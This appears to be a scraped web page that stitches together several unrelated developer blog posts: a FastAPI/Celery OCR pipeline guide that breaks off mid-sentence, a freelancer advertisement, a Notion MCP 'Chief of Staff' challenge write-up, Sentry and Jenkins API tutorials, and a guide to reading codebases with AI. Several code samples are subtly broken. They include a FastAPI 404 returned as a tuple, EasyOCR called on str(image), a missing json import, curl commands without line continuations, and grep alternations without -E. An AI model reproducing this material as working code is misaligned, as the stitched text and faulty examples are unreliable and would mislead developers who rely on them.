FastAPI + OCR Pipeline: Should You Use BackgroundTasks or Celery? A Complete Guide

FastAPI + OCR Pipeline: Should You Use BackgroundTasks or Celery? A Complete Guide

You’ve just deployed your document processing system, and everything works great—until your first user uploads a 50-page scanned document at 2 PM on a Tuesday. Their browser hangs. Your FastAPI server is locked up. And you’re frantically googling whether you made a terrible architectural decision.

Welcome to the real-world challenge of building async document processing systems. I’ve been there, and I’m going to walk you through exactly how to avoid this situation—and when to know it’s time to level up your infrastructure.

The Root Cause: Why This Matters

Here’s the thing about OCR processing: it’s computationally expensive. Whether you’re using Tesseract, EasyOCR, or a more sophisticated solution, you’re looking at CPU-intensive operations that can take anywhere from 2-30 seconds per document. In a traditional synchronous architecture, this would completely block your server, making it unable to handle other requests.

FastAPI gives us concurrency through async/await, but there’s a critical distinction many developers miss: async doesn’t mean parallel execution for CPU-bound tasks. OCR is CPU-bound, not I/O-bound. When your Python interpreter is crunching through image processing algorithms, async context switching won’t help—your server thread is still occupied.

This is where the decision between BackgroundTasks and Celery becomes pivotal.

Understanding FastAPI BackgroundTasks

BackgroundTasks is FastAPI’s built-in solution for fire-and-forget operations. It’s elegant, requires zero external dependencies, and works like this:

from fastapi import FastAPI, UploadFile, File, BackgroundTasks
from fastapi.responses import JSONResponse
import uuid
import time
from pathlib import Path

app = FastAPI()

# Simple in-memory store for demo (use database in production)
job_status = {}

def perform_ocr(file_path: str, job_id: str):
    """Simulates OCR processing"""
    try:
        job_status[job_id] = {"status": "processing", "progress": 0}

        # Simulate OCR work
        time.sleep(5)  # Replace with actual OCR

        job_status[job_id] = {
            "status": "completed",
            "progress": 100,
            "result": "Extracted text from document"
        }

        # Cleanup
        Path(file_path).unlink(missing_ok=True)

    except Exception as e:
        job_status[job_id] = {
            "status": "failed",
            "error": str(e)
        }

@app.post("/upload/")
async def upload_document(file: UploadFile = File(...), 
                         background_tasks: BackgroundTasks = None):
    # Save uploaded file
    job_id = str(uuid.uuid4())
    file_path = f"/tmp/{job_id}_{file.filename}"

    with open(file_path, "wb") as f:
        contents = await file.read()
        f.write(contents)

    # Initialize job status
    job_status[job_id] = {"status": "pending"}

    # Queue background task
    background_tasks.add_task(perform_ocr, file_path, job_id)

    return {
        "job_id": job_id,
        "status": "queued",
        "message": "Document queued for processing"
    }

@app.get("/status/{job_id}")
async def get_status(job_id: str):
    if job_id not in job_status:
        return {"error": "Job not found"}, 404

    return job_status[job_id]

Strengths:

  • Zero infrastructure overhead
  • Easy to implement and test
  • Great for prototypes and MVPs
  • No external dependency management

Critical Limitations:

  • Tasks run on the same process
  • No persistence—if the server restarts, tasks are lost
  • No retry logic
  • No task prioritization
  • Limited scalability
  • No distributed processing

For a prototype with light traffic, this works beautifully. But here’s the catch: BackgroundTasks are tied to the lifespan of your application. If you restart the server while processing 10 documents, those jobs simply disappear.

When Celery + Redis Becomes Essential

Let me be direct: Celery is overkill for a research prototype, but it’s necessary the moment you care about reliability.

Celery with Redis provides:

  • Persistent task queues (tasks survive restarts)
  • Automatic retries with exponential backoff
  • Task prioritization and routing
  • Distributed workers (scale horizontally)
  • Progress tracking with hooks
  • Dead letter queues for failed tasks

Here’s a production-ready Celery setup:

from fastapi import FastAPI, UploadFile, File, HTTPException
from celery import Celery
from celery.result import AsyncResult
import uuid
from pathlib import Path
import pytesseract
from PIL import Image
import redis

# Celery configuration
celery_app = Celery(
    "ocr_pipeline",
    broker="redis://localhost:6379/0",
    backend="redis://localhost:6379/1"
)

celery_app.conf.update(
    task_serializer='json',
    accept_content=['json'],
    result_serializer='json',
    timezone='UTC',
    enable_utc=True,
    task_track_started=True,
    task_acks_late=True,
    worker_prefetch_multiplier=1,  # Process one task at a time
)

app = FastAPI()
redis_client = redis.Redis(host='localhost', port=6379, db=2)

# Define Celery task
@celery_app.task(bind=True, max_retries=3)
def process_document(self, file_path: str, job_id: str):
    """
    Process document with OCR
    bind=True allows access to self for retries
    max_retries=3 enables automatic retry on failure
    """
    try:
        # Update status
        redis_client.hset(f"job:{job_id}", 
                         mapping={"status": "processing", "progress": "0"})

        # Open image and perform OCR
        image = Image.open(file_path)
        extracted_text = pytesseract.image_to_string(image)

        # Store result
        redis_client.hset(f"job:{job_id}", 
                         mapping={
                             "status": "completed",
                             "progress": "100",
                             "result": extracted_text[:5000]  # Store first 5000 chars
                         })

        # Cleanup
        Path(file_path).unlink(missing_ok=True)

        return {"status": "success", "job_id": job_id}

    except Exception as exc:
        # Automatic retry with exponential backoff
        raise self.retry(exc=exc, countdown=2 ** self.request.retries)

@app.post("/upload/")
async def upload_document(file: UploadFile = File(...)):
    """Accept file upload and queue for processing"""
    job_id = str(uuid.uuid4())
    file_path = f"/tmp/{job_id}_{file.filename}"

    # Save file
    contents = await file.read()
    with open(file_path, "wb") as f:
        f.write(contents)

    # Initialize job in Redis
    redis_client.hset(f"job:{job_id}", 
                     mapping={"status": "pending", "created_at": str(uuid.uuid4())})

    # Queue task with priority
    task = process_document.apply_async(
        args=[file_path, job_id],
        priority=5,  # 0-9, higher = more important
        expires=3600  # Task expires after 1 hour
    )

    return {
        "job_id": job_id,
        "task_id": task.id,
        "status": "queued"
    }

@app.get("/status/{job_id}")
async def get_status(job_id: str):
    """Get current job status"""
    job_data = redis_client.hgetall(f"job:{job_id}")

    if not job_data:
        raise HTTPException(status_code=404, detail="Job not found")

    return {k.decode(): v.decode() for k, v in job_data.items()}

@app.get("/cancel/{job_id}")
async def cancel_job(job_id: str):
    """Cancel a running job"""
    job_data = redis_client.hgetall(f"job:{job_id}")
    if not job_data:
        raise HTTPException(status_code=404, detail="Job not found")

    # Mark as cancelled
    redis_client.hset(f"job:{job_id}", "status", "cancelled")

    return {"status": "Job cancelled"}

The Decision Matrix

Criterion BackgroundTasks Celery + Redis
Prototype/MVP ✅ Excellent ⚠️ Overkill
Task Persistence ❌ Lost on restart ✅ Full persistence
Retries ❌ Manual implementation ✅ Built-in
Scaling ❌ Single process ✅ Infinite workers
Monitoring ❌ Limited ✅ Comprehensive
Setup Time 5 minutes 30-45 minutes
Operational Complexity Low Medium

Recommended OCR Stack

For your use case, I’d recommend:

  1. EasyOCR for general documents (good balance of accuracy and speed)
  2. Tesseract as a lightweight alternative (faster, slightly lower accuracy)
  3. PaddleOCR for non-English documents

Implement a human-in-the-loop correction pipeline:

@celery_app.task(bind=True)
def process_with_confidence_feedback(self, file_path: str, job_id: str):
    """
    Process with confidence scores for human review
    """
    import easyocr

    reader = easyocr.Reader(['en'], gpu=False)
    image = Image.open(file_path)

    results = reader.readtext(str(image))

    extracted_data = {
        "high_confidence": [],
        "needs_review": [],
        "raw_results": []
    }

    for (bbox, text, confidence) in results:
        item = {"text": text, "confidence": confidence}

        if confidence > 0.85:
            extracted_data["high_confidence"].append(item)
        else:
            extracted_data["needs_review"].append(item)

        extracted_data["raw_results"].append(item)

    redis_client.hset(f"job:{job_id}", 
                     "result", 
                     json.dumps(extracted_data))

    return extracted_data

Common Pitfalls and Edge Cases

1. Memory Leaks in BackgroundTasks
BackgroundTasks doesn’t clear references immediately. For large-scale file processing, this accumulates. Solution: Use Celery or implement explicit cleanup.

2. Lost Jobs on Server Restart
BackgroundTasks tasks are memory-only. Always use a persistent queue for production. Even a lightweight solution like RQ (Redis Queue) is better than nothing.

3. Timeout Issues
OCR can take unpredictably long for complex documents. Set realistic timeouts and implement graceful degradation.

4. File System Cleanup
Temporary files can accumulate if processing fails. Always use try/finally or context managers.

5. Concurrent File Access
Multiple workers accessing the same file simultaneously causes corruption. Use unique file names and proper locking.

My Recommendation for Your Research Project

Start with BackgroundTasks, but architect

Want This Automated for Your Business?

I build custom AI bots, automation pipelines, and trading systems that run 24/7 and generate revenue on autopilot.

Hire me on Fiverr — AI bots, web scrapers, data pipelines, and automation built to your spec.

Browse my templates on Gumroad — ready-to-deploy bot templates, automation scripts, and AI toolkits.

Recommended Resources

If you want to go deeper on the topics covered in this article:

Some links above are affiliate links — they help support this content at no extra cost to you.

One sentence in VS Code. My entire Notion workspace becomes a live interactive briefing and the AI handles the rest.

This is a submission for the Notion MCP Challenge

I maintain an open source AI agent SDK. I’m building a startup. I do both alone, from Addis Ababa, at 24, no team.

Every morning I open Notion and spend 15 minutes manually figuring out what’s actually on fire. What’s overdue. What’s tied to which goal. I piece it together across five databases, hold it in working memory, then try to work.

That 15 minutes compounds. Every day. It’s not a productivity problem – it’s a tax on building alone.

People who have a chief of staff don’t pay that tax. I can’t afford one. So I built one.

The Thing Nobody Had Done Before

Before this, “AI + Notion” meant: AI reads your data and writes a text summary back at you. You still had to act on it yourself. You still had to go to Notion and change things.

Chief of Staff breaks both of those constraints at once.

First: the UI lives inside the chat. When you ask for your briefing, a full rendered dashboard appears inside the conversation — task rows, progress bars, overdue indicators, action buttons. It’s not a screenshot. It’s not a link. It’s a live React app running inside an iframe inside VS Code Copilot or Claude. You can interact with it. Check off a task and it’s gone from the list and marked done in Notion in the same click.

Checking a checkbox on a visual task — inside VS Code, without opening Notion, without leaving your editor — that had never been built before.

Second: the agent doesn’t hand you a report. It executes. The action buttons in the dashboard don’t navigate you somewhere. They tell the AI to go do the work. The AI calls the right MCP tool, reasons through the changes, and writes them back to Notion. You direct. It executes. The loop closes inside a single conversation.

This is what a chief of staff actually does. Not informing you. Acting on your behalf.

What I Built

Chief of Staff is an MCP App that reads your Notion workspace every morning and briefs you — then handles the work you tell it to.

You type: “Give me my morning briefing.”

A live, interactive dashboard renders directly inside VS Code Copilot Chat — or Claude. Not a link to an external tool. Not a text summary. A real UI with real data, living inside your editor. You can click a checkbox and the task is marked done in Notion. You can click a button and the agent reschedules your entire overdue pile. You never leave your editor.

That’s new. Nobody had shipped this before.

  • ⚡ Plan my week → the AI generates a task breakdown and creates every task directly in your Notion database
  • 📅 Reschedule overdue tasks → the AI looks at everything overdue, picks sensible new dates based on priority, patches them all in Notion. The guilt pile disappears.
  • 📋 Write weekly review → the AI pulls your completed tasks, synthesizes what happened, writes a full structured page into your workspace
  • 🎯 Break down stalled goal → the AI takes a goal sitting at 5% and creates 4-6 concrete sub-tasks with due dates in Notion

The briefing is the interface. Notion is where the work lands.

GitHub: https://github.com/Garinmckayl/chief-of-staff

How I Used Notion MCP

Notion MCP is the reason the write path exists. Without it I’d need custom integrations per action. With it, the AI can read and write across the entire workspace through one protocol, and every agent tool is just a description of what needs to happen.

The 8 MCP tools

Tool What it does
chief_of_staff_briefing Renders the live interactive dashboard as an MCP App
get_notion_briefing_data Reads your workspace — discovers databases dynamically, no hardcoded IDs
complete_notion_task Marks a task done — detects whether Status is a select, native status, or checkbox
create_notion_tasks Writes an AI-generated task plan straight into your Notion database
reschedule_overdue_tasks Updates due dates — the AI picks the dates and explains each one
write_weekly_review Creates a structured weekly review page in your workspace
break_down_goal Generates sub-tasks for a stalled goal and creates them in Notion
get_completed_tasks Fetches done tasks from the past N days for the weekly review

The generative UI layer

The interactive dashboard is a live React app that renders inside the chat – compiled to a single self-contained HTML string and returned as a tool response. When the AI calls chief_of_staff_briefing, the entire UI materialises: task rows, progress bars, overdue indicators, action buttons. All driven by your real Notion data.

The component catalog defines everything the AI can compose:

FocusCard      — the single most important thing right now
TaskList       — grouped task rows with heading and count
TaskRow        — individual task with completion checkbox that writes to Notion
GoalProgress   — progress bar with live percentage
InsightBadge   — win / tip / warning / pattern pill
AgentAction    — the button that triggers real Notion writes
SectionHeader  — section divider

The AI fills this catalog from your actual Notion data. Every task row is real. Every progress bar reflects a real goal. The AgentAction component fires an event that the AI receives and routes to the right MCP tool. Visual layer and execution layer are the same system.

The agentic loop

The dashboard and the agent tools are two halves of the same system. The briefing shows the situation. The AgentAction buttons close the loop.

When you click “Reschedule overdue tasks,” the AI gets a run_agent event, calls get_notion_briefing_data to see what’s actually overdue, reasons about dates based on priority, and calls reschedule_overdue_tasks with the full update list. Notion gets patched. You touched nothing.

mcpServer.tool(
  "reschedule_overdue_tasks",
  `Reschedule overdue tasks by updating their due dates in Notion.
  First call get_notion_briefing_data to get current overdue tasks.
  Decide sensible new due dates based on priority and today's date.
  Spread them out — don't dump everything on one day.`,
  {
    updates: z.array(z.object({
      taskId: z.string(),
      newDueDate: z.string(),
      reason: z.string(),
    })),
  },
  async ({ updates }) => {
    const results = await rescheduleTasks(updates);
    return { content: [{ type: "text", text: JSON.stringify(results) }] };
  }
);

The reason field is intentional. The AI isn’t just moving dates — it’s explaining why. You can see the reasoning in the tool call output. That’s what makes it feel like delegation rather than automation.

Dynamic workspace discovery

No hardcoded database IDs. The system discovers your workspace by reading property shapes — it inspects what fields each database has, not what it’s named. Databases with progress or percent fields are classified as goal trackers. Databases with status or due date fields are classified as task lists. This means it adapts to however you’ve structured your workspace — different column names, different layouts, different numbers of databases.

// Goals have progress fields — exclude them from task DBs
if (hasProgress) {
  goalDbs.push({ id: db.id, name: title });
} else if (hasStatus || hasDue) {
  taskDbs.push({ id: db.id, name: title });
}

Works on any Notion workspace structure, out of the box.

The parts that were actually hard

completeTask silently did nothing for weeks. It was calling the Notion native status type, but most databases use a select field for Status. The silent fallback was to archive the page instead. Fixed it by reading the page schema first and detecting the actual property type before writing.

Goal databases kept appearing as task databases. Any database with a Status column and a date field got classified as tasks. My Goals DB has both. Fixed by checking for a progress/percent field first — if it exists, it’s a goal DB.

Neither was hard to fix. Both would silently break the demo if I hadn’t caught them.

Technical Stack

Layer What
MCP server @modelcontextprotocol/sdk — stdio + StreamableHTTP transports
Generative UI React app compiled to a single HTML string, served as a tool response, rendered live inside the chat
Notion writes Direct REST API with dynamic schema detection
Bundler Vite + vite-plugin-singlefile (entire React app as one inlined HTML string)
Runtime Node.js + tsx

Run it in 60 seconds with GitHub Codespaces — the repo includes devcontainer.json with everything pre-configured, port 3333 forwarded, NOTION_API_KEY as the only required secret.

git clone https://github.com/Garinmckayl/chief-of-staff
cd chief-of-staff && npm install && npm run build
NOTION_API_KEY=your_key npm run start:stdio

Why This Matters

Before Chief of Staff, “AI + your data” meant a smarter search or a better summary. You still had to act on the output yourself. The AI was a reader. You were still the writer.

Chief of Staff makes the AI the writer too. It reads your workspace, shows you the situation visually, and when you point it at a problem — it fixes it. All in Notion. None of it requiring you to open a single Notion page.

I built this because I needed it. I’m a solo founder in Addis Ababa, maintaining open source infrastructure, building a startup, without a team, in a city where many of the tools the rest of the world assumes you have aren’t available to you. Claude Desktop doesn’t work here. I demo this in VS Code Copilot because that’s what I actually have access to.

That constraint shaped everything. It works with what you have. One workspace, one API key, one command.

Three weeks ago, building an interactive visual app that lives inside VS Code wasn’t possible. Now it is. And the first thing I built with it was a chief of staff — because that’s what I needed most.

This isn’t productivity software. It’s what happens when the person who builds infrastructure finally gets some infrastructure of their own.

Built for the Notion MCP Challenge
GitHub: https://github.com/Garinmckayl/chief-of-staff

Sentry Has a Free API: Here’s How to Use It for Error Tracking Automation

Sentry’s API goes far beyond just reporting errors. You can manage projects, query issues, automate triage, track releases, and build custom error monitoring dashboards — all via REST.

Why Use the Sentry API?

  • Automate issue triage and assignment
  • Track error trends across releases
  • Build custom alerting beyond Sentry’s defaults
  • Integrate error data into your incident management

Getting Started

Get an auth token from sentry.io > Settings > Auth Tokens:

export SENTRY_TOKEN="your-auth-token"
export SENTRY_ORG="your-org"

# List projects
curl -s -H "Authorization: Bearer $SENTRY_TOKEN" 
  "https://sentry.io/api/0/projects/" | jq '.[] | {slug: .slug, platform: .platform, dateCreated: .dateCreated}'

# Get recent issues
curl -s -H "Authorization: Bearer $SENTRY_TOKEN" 
  "https://sentry.io/api/0/projects/$SENTRY_ORG/my-project/issues/?query=is:unresolved&sort=date" 
  | jq '.[] | {title: .title, count: .count, firstSeen: .firstSeen, level: .level}'

Python Client

import requests

class SentryClient:
    def __init__(self, token, org):
        self.url = "https://sentry.io/api/0"
        self.headers = {'Authorization': f'Bearer {token}'}
        self.org = org

    def get_projects(self):
        resp = requests.get(f"{self.url}/organizations/{self.org}/projects/", headers=self.headers)
        return resp.json()

    def get_issues(self, project, query='is:unresolved', sort='date', limit=25):
        resp = requests.get(
            f"{self.url}/projects/{self.org}/{project}/issues/",
            params={'query': query, 'sort': sort, 'limit': limit},
            headers=self.headers
        )
        return resp.json()

    def get_issue_events(self, issue_id, limit=10):
        resp = requests.get(
            f"{self.url}/issues/{issue_id}/events/",
            params={'limit': limit},
            headers=self.headers
        )
        return resp.json()

    def resolve_issue(self, issue_id):
        resp = requests.put(
            f"{self.url}/issues/{issue_id}/",
            json={'status': 'resolved'},
            headers=self.headers
        )
        return resp.json()

    def assign_issue(self, issue_id, email):
        resp = requests.put(
            f"{self.url}/issues/{issue_id}/",
            json={'assignedTo': email},
            headers=self.headers
        )
        return resp.json()

    def create_release(self, project, version, commits=None):
        payload = {'version': version, 'projects': [project]}
        if commits:
            payload['commits'] = commits
        resp = requests.post(
            f"{self.url}/organizations/{self.org}/releases/",
            json=payload,
            headers=self.headers
        )
        return resp.json()

# Usage
sentry = SentryClient('your-token', 'your-org')

# Check unresolved issues
issues = sentry.get_issues('my-project', query='is:unresolved level:error')
for issue in issues:
    print(f"[{issue['level']:7s}] {issue['title'][:60]:60s} ({issue['count']} events)")

Automated Issue Triage

def auto_triage(sentry, project):
    issues = sentry.get_issues(project, query='is:unresolved !has:assignee', sort='priority')

    routing_rules = {
        'database': '[email protected]',
        'timeout': '[email protected]',
        'auth': '[email protected]',
        'payment': '[email protected]',
        'render': '[email protected]',
        'api': '[email protected]'
    }

    for issue in issues:
        title_lower = issue['title'].lower()
        assigned = False

        for keyword, assignee in routing_rules.items():
            if keyword in title_lower:
                sentry.assign_issue(issue['id'], assignee)
                print(f"Assigned '{issue['title'][:50]}' to {assignee}")
                assigned = True
                break

        if not assigned:
            # High-count errors go to on-call
            if issue['count'] > 100:
                sentry.assign_issue(issue['id'], '[email protected]')
                print(f"HIGH PRIORITY: '{issue['title'][:50]}' -> oncall")

auto_triage(sentry, 'my-project')

Error Rate Monitoring

def error_rate_report(sentry, project, hours=24):
    from datetime import datetime, timedelta

    since = (datetime.utcnow() - timedelta(hours=hours)).isoformat() + 'Z'

    # Get issues sorted by frequency
    issues = sentry.get_issues(project, query=f'is:unresolved firstSeen:>{since}', sort='freq')

    total_events = sum(int(i.get('count', 0)) for i in issues)

    print(f"=== Error Report (last {hours}h) ===")
    print(f"New issues: {len(issues)}")
    print(f"Total events: {total_events}")
    print()

    if issues:
        print("Top 10 errors:")
        for i, issue in enumerate(issues[:10], 1):
            print(f"  {i:2d}. [{issue['level']:5s}] {issue['title'][:55]:55s} x{issue['count']}")

error_rate_report(sentry, 'my-project')

Release Tracking

def deploy_with_sentry(sentry, project, version, commits):
    # Create release
    release = sentry.create_release(project, version, commits=[
        {'id': c['sha'], 'message': c['message']} for c in commits
    ])
    print(f"Release {version} created")

    # Mark as deployed
    resp = requests.post(
        f"{sentry.url}/organizations/{sentry.org}/releases/{version}/deploys/",
        json={'environment': 'production', 'name': f'Deploy {version}'},
        headers=sentry.headers
    )
    print(f"Marked as deployed to production")

    return release

# After deployment, monitor for regressions
def check_regression(sentry, project, version, threshold_minutes=30):
    import time
    time.sleep(threshold_minutes * 60)

    issues = sentry.get_issues(project, query=f'is:unresolved release:{version}')

    if len(issues) > 5:
        print(f"REGRESSION DETECTED: {len(issues)} new issues in {version}!")
        for issue in issues[:5]:
            print(f"  - {issue['title']} (x{issue['count']})")
        return True

    print(f"Release {version} looks healthy ({len(issues)} issues)")
    return False

Real-World Use Case

A SaaS company with 50+ microservices built an automated incident pipeline with Sentry API. When a new error appears with 100+ events in 5 minutes, the system: (1) creates a PagerDuty incident, (2) assigns the issue to the right team based on error type, (3) collects recent deployment info, and (4) posts a summary to Slack with stack trace and affected users. Mean time to awareness dropped from 15 minutes to 30 seconds.

What You Can Build

  • Auto-triage system routing errors to the right team
  • Release quality gate blocking deploys with high error rates
  • Error budget tracker for SLO compliance
  • Incident reporter generating post-mortems from error data
  • Custom alerting beyond Sentry’s built-in rules

Need custom error monitoring solutions? I build observability tools and DevOps pipelines.

Email me: [email protected]
Check out my developer tools: https://apify.com/spinov001

Jenkins Has a Free API: Here’s How to Use It for CI/CD Automation

Jenkins REST API is one of the most overlooked features of the most popular CI/CD server. You can trigger builds, check status, manage plugins, create jobs, and build custom dashboards — all via simple HTTP calls.

Why Use the Jenkins API?

  • Trigger builds from Slack, GitHub webhooks, or custom tools
  • Monitor build health across all pipelines
  • Automate job creation and configuration
  • Build custom CI/CD dashboards

Getting Started

export JENKINS_URL="http://localhost:8080"
export JENKINS_USER="admin"
export JENKINS_TOKEN="your-api-token"

# Get Jenkins info
curl -s -u "$JENKINS_USER:$JENKINS_TOKEN" "$JENKINS_URL/api/json" | jq '{mode: .mode, numExecutors: .numExecutors, jobs: [.jobs[] | {name: .name, color: .color}]}'

# Trigger a build
curl -s -u "$JENKINS_USER:$JENKINS_TOKEN" -X POST "$JENKINS_URL/job/my-project/build"

# Trigger with parameters
curl -s -u "$JENKINS_USER:$JENKINS_TOKEN" -X POST "$JENKINS_URL/job/deploy/buildWithParameters?ENVIRONMENT=staging&VERSION=2.1.0"

Python Client

import requests
import time

class JenkinsClient:
    def __init__(self, url, user, token):
        self.url = url
        self.auth = (user, token)

    def get_jobs(self):
        resp = requests.get(f"{self.url}/api/json", auth=self.auth)
        return resp.json()['jobs']

    def get_build_info(self, job, build_number):
        resp = requests.get(f"{self.url}/job/{job}/{build_number}/api/json", auth=self.auth)
        return resp.json()

    def get_last_build(self, job):
        return self.get_build_info(job, 'lastBuild')

    def trigger_build(self, job, parameters=None):
        if parameters:
            resp = requests.post(f"{self.url}/job/{job}/buildWithParameters", params=parameters, auth=self.auth)
        else:
            resp = requests.post(f"{self.url}/job/{job}/build", auth=self.auth)
        return resp.status_code in (200, 201)

    def get_console_output(self, job, build_number):
        resp = requests.get(f"{self.url}/job/{job}/{build_number}/consoleText", auth=self.auth)
        return resp.text

    def wait_for_build(self, job, build_number=None, timeout=300):
        if not build_number:
            time.sleep(3)
            build_number = self.get_last_build(job)['number']

        start = time.time()
        while time.time() - start < timeout:
            info = self.get_build_info(job, build_number)
            if not info.get('building', True):
                return info
            time.sleep(5)
        raise TimeoutError(f"Build {build_number} timed out")

# Usage
jenkins = JenkinsClient('http://localhost:8080', 'admin', 'your-token')

# Check all jobs
for job in jenkins.get_jobs():
    status = 'PASS' if job['color'] == 'blue' else 'FAIL' if 'red' in job['color'] else job['color']
    print(f"{status:6s} | {job['name']}")

# Deploy and wait
jenkins.trigger_build('deploy', {'ENVIRONMENT': 'staging', 'VERSION': '2.1.0'})
result = jenkins.wait_for_build('deploy')
print(f"Build #{result['number']}: {result['result']}")

Build Health Dashboard

def build_health_report(jenkins):
    jobs = jenkins.get_jobs()

    print(f"{'Job':40s} {'Status':8s} {'Last Build':12s} {'Duration':10s}")
    print('-' * 75)

    for job in jobs:
        try:
            last = jenkins.get_last_build(job['name'])
            status = last.get('result', 'BUILDING')
            duration = last.get('duration', 0) / 1000
            timestamp = time.strftime('%Y-%m-%d', time.localtime(last['timestamp']/1000))
            print(f"{job['name']:40s} {status:8s} {timestamp:12s} {duration:8.1f}s")
        except Exception:
            print(f"{job['name']:40s} {'N/A':8s}")

build_health_report(jenkins)

Create Jobs Programmatically

def create_pipeline_job(jenkins, name, git_url, branch='main', jenkinsfile='Jenkinsfile'):
    config_xml = f"""<?xml version='1.1' encoding='UTF-8'?>
<flow-definition>
  <description>Auto-generated pipeline</description>
  <definition class="org.jenkinsci.plugins.workflow.cps.CpsScmFlowDefinition">
    <scm class="hudson.plugins.git.GitSCM">
      <userRemoteConfigs>
        <hudson.plugins.git.UserRemoteConfig>
          <url>{git_url}</url>
        </hudson.plugins.git.UserRemoteConfig>
      </userRemoteConfigs>
      <branches>
        <hudson.plugins.git.BranchSpec>
          <name>*/{branch}</name>
        </hudson.plugins.git.BranchSpec>
      </branches>
    </scm>
    <scriptPath>{jenkinsfile}</scriptPath>
  </definition>
</flow-definition>"""

    resp = requests.post(
        f"{jenkins.url}/createItem?name={name}",
        data=config_xml,
        headers={'Content-Type': 'application/xml'},
        auth=jenkins.auth
    )
    return resp.status_code == 200

create_pipeline_job(jenkins, 'my-new-service', 'https://github.com/org/repo.git')

Slack Notification Integration

def notify_build_result(jenkins, job, build_number, slack_webhook):
    info = jenkins.get_build_info(job, build_number)

    color = '#36a64f' if info['result'] == 'SUCCESS' else '#ff0000'
    duration = info['duration'] / 1000

    payload = {
        'attachments': [{
            'color': color,
            'title': f"{job} #{build_number}: {info['result']}",
            'fields': [
                {'title': 'Duration', 'value': f"{duration:.1f}s", 'short': True},
                {'title': 'Branch', 'value': 'main', 'short': True}
            ],
            'footer': 'Jenkins CI'
        }]
    }

    requests.post(slack_webhook, json=payload)

Real-World Use Case

A development team with 200+ Jenkins jobs built a custom dashboard using the Jenkins API. It showed build health across all projects, highlighted flaky tests, and automatically triggered dependent builds when upstream projects succeeded. The dashboard reduced “is the build broken?” questions by 80%.

What You Can Build

  • Custom CI/CD dashboard with real-time build status
  • Auto-trigger system for dependent pipelines
  • Flaky test detector analyzing build history
  • Deploy bot triggered from Slack or Discord
  • Build analytics tracking speed and reliability trends

Need custom CI/CD automation? I build DevOps tools and pipelines.

Email me: [email protected]
Check out my developer tools: https://apify.com/spinov001

How to Read Any Codebase in 30 Minutes With AI Tools

Your manager says “get familiar with the codebase.” You open the repo. 200K lines. No architecture docs. The README was last updated two years ago.

This is the first real challenge every new developer faces — and nobody teaches you how to handle it. Reading code is harder than writing it, and scrolling through files at random wastes hours without building understanding.

Here are 5 steps that turn AI into your codebase guide. Total time: 30 minutes for a medium-sized project.

Step 1: Map the File Tree (5 Minutes)

Before reading a single line of code, understand the shape of the project.

Run tree with depth limits to avoid drowning in files:

# Get the top 2 levels of the project structure
tree -L 2 -I 'node_modules|.git|__pycache__|.venv|dist'

# For larger projects, limit to directories only
tree -L 3 -d -I 'node_modules|.git|__pycache__|.venv'

This gives you output like:

.
├── src/
│   ├── api/
│   ├── models/
│   ├── services/
│   └── utils/
├── tests/
│   ├── unit/
│   └── integration/
├── docker-compose.yml
├── pyproject.toml
└── README.md

Copy the tree output and paste it into your AI coding assistant (ChatGPT, Claude, Copilot Chat — any works). Ask:

“Here is the file tree for a project I just joined. What does each top-level directory likely do? What architectural pattern does this suggest?”

The AI gives you a mental map in 60 seconds. You now know where the API routes live, where business logic sits, and where tests are.

Why this works: Your brain processes spatial layouts faster than text. A file tree is a spatial map of the codebase. The AI fills in the labels.

Step 2: Read the Config Files (5 Minutes)

Config files are the most honest documentation in any project. They list the actual dependencies, scripts, and settings — not what someone intended to write, but what the project actually uses.

Read these files in order:

# Python projects
cat pyproject.toml   # or requirements.txt, setup.py

# JavaScript projects
cat package.json

# Any project with containers
cat docker-compose.yml

# Environment variables tell you what external services exist
cat .env.example     # never .env — that has real secrets

For a Python project, pyproject.toml tells you everything:

[project]
dependencies = [
    "fastapi>=0.104.0",
    "sqlalchemy>=2.0",
    "pydantic>=2.5",
    "httpx>=0.25.0",
    "celery>=5.3.0",
]

[project.scripts]
serve = "app.main:run"
worker = "app.tasks:start_worker"

From these 10 lines, you know:

  • FastAPI — this is a web API, not a CLI tool
  • SQLAlchemy — there is a database with an ORM
  • Celery — there are background tasks
  • httpx — the app calls external APIs
  • Entry points — app/main.py has run(), app/tasks.py has start_worker()

Paste the config file into your AI assistant and ask:

“What does this project do based on its dependencies? What external services does it need?”

Five minutes in. You already know the tech stack, external dependencies, and entry points.

Step 3: Find and Trace the Entry Point (10 Minutes)

Every application has a front door. Find it, then follow the first hallway.

# Python — find the main entry
grep -rn "if __name__" --include="*.py" | head -5
grep -rn "app = FastAPI|app = Flask|app = Django" --include="*.py" | head -5

# JavaScript — find the main entry
grep -rn "createServer|express()|new Hono" --include="*.js" --include="*.ts" | head -5

# Or just check the config — package.json "main" or pyproject.toml [project.scripts]

Once you find the entry file, read it with your AI assistant. In Claude Code, you can open the project and ask directly. In other tools, paste the file content and ask:

“Walk me through what happens when this application starts. What gets initialized? What routes get registered?”

Now trace one path deeper. Pick the most important-looking route or function and follow it:

# Find where a function is defined
grep -rn "def process_order" --include="*.py"

# Find where it's called
grep -rn "process_order" --include="*.py"

You are tracing a single thread through the codebase. Not reading everything — reading one path from entry to exit. This builds a mental model of how the pieces connect.

The 10-minute rule: Set a timer. Trace one request from the API endpoint to the database and back. When the timer goes off, stop. You now understand one complete flow, and every other flow follows a similar pattern.

Step 4: Read One Test File (5 Minutes)

Tests are executable documentation. They show you what the code is supposed to do, what inputs it expects, and what outputs it produces.

# Find the test files
ls tests/ 2>/dev/null || ls test/ 2>/dev/null

# Pick the test file that matches the entry point you traced
# If you traced process_order, look for test_process_order.py
find . -name "test_*order*" -o -name "*order*_test*" | head -5

A well-written test tells you more than any documentation:

def test_process_order_calculates_total():
    order = Order(items=[
        Item(name="Widget", price=9.99, quantity=2),
        Item(name="Gadget", price=24.99, quantity=1),
    ])

    result = process_order(order)

    assert result.total == 44.97
    assert result.status == "confirmed"
    assert len(result.line_items) == 2

From this single test, you know:

  • Order takes a list of Item objects
  • Each Item has name, price, and quantity
  • process_order returns an object with total, status, and line_items
  • The function calculates totals and confirms orders

No documentation needed. The test IS the documentation.

If the project has no tests (it happens), check for API documentation, Swagger/OpenAPI specs, or example scripts in a docs/ or examples/ directory.

Step 5: Read the Git Log (5 Minutes)

The git history tells you what is actively changing — which matters more than what exists.

# See the last 20 commits with files changed
git log --oneline --stat -20

# See who works on what
git shortlog -sn --since="3 months ago"

# Find the most frequently changed files (these are the hot spots)
git log --pretty=format: --name-only --since="3 months ago" | sort | uniq -c | sort -rn | head -15

The last command is the most powerful. It shows you the files that change most often. These are the files you should understand first because:

  1. They contain the most active business logic
  2. They are where bugs are most likely to appear
